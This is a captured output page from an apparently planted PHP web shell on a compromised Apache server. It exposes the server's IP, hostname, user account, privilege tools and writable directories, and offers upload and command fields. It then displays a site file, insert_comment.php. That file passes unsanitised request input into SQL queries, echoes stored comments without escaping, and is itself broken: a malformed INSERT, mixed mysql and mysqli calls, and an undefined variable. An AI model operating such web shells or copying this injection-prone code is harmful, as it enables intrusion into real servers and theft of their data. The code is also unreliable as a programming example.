403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/news_portal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/news_portal/insert_comment.php
<?php
session_start();
include('config.php');
$n_id=$_SESSION['n_id'];	
$e = $_REQUEST['email'];
$comments = $_REQUEST['comments'];

$que="select * from register where email='$e'";
	$row1=mysql_query($que) or die(mysql_error());
	$res=mysql_fetch_assoc($row1); 
	$user_id=$res['id'];

$query = "insert into comments  user_id='$user_id',news_id='$n_id',message='$comments',comment_date=now()";
	
	$run = mysql_query ( $query );
	$c_id = mysql_insert_id ();
$que1 = "SELECT * FROM comments where user_id='$id' and news_id='$n_id' ORDER BY c_id DESC";
$result=mysql_query($que1) or die(mysql_error());
while($row=mysqli_fetch_array($result)){
	
	$d=$row['comment_date'];
	$date=date_create($d);
	$com_date=date_format($date,"d-m-Y");
echo "<div class='comments_content'>";
echo "<h4 style='text-align:right;'><a href='deleteComment.php?id=" . $row['c_id'] . "' title='remove'> X</a></h4>";
/*echo "<h4 style='color:blue;'>" . $res['fname'] ." ". $res['lname'] ."</h4>";*/
echo "<h6 style='color:grey'>" . $com_date. "</h6></br>";
echo "<h5>" . $row['message'] . "</h5>";
echo "</div>";
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit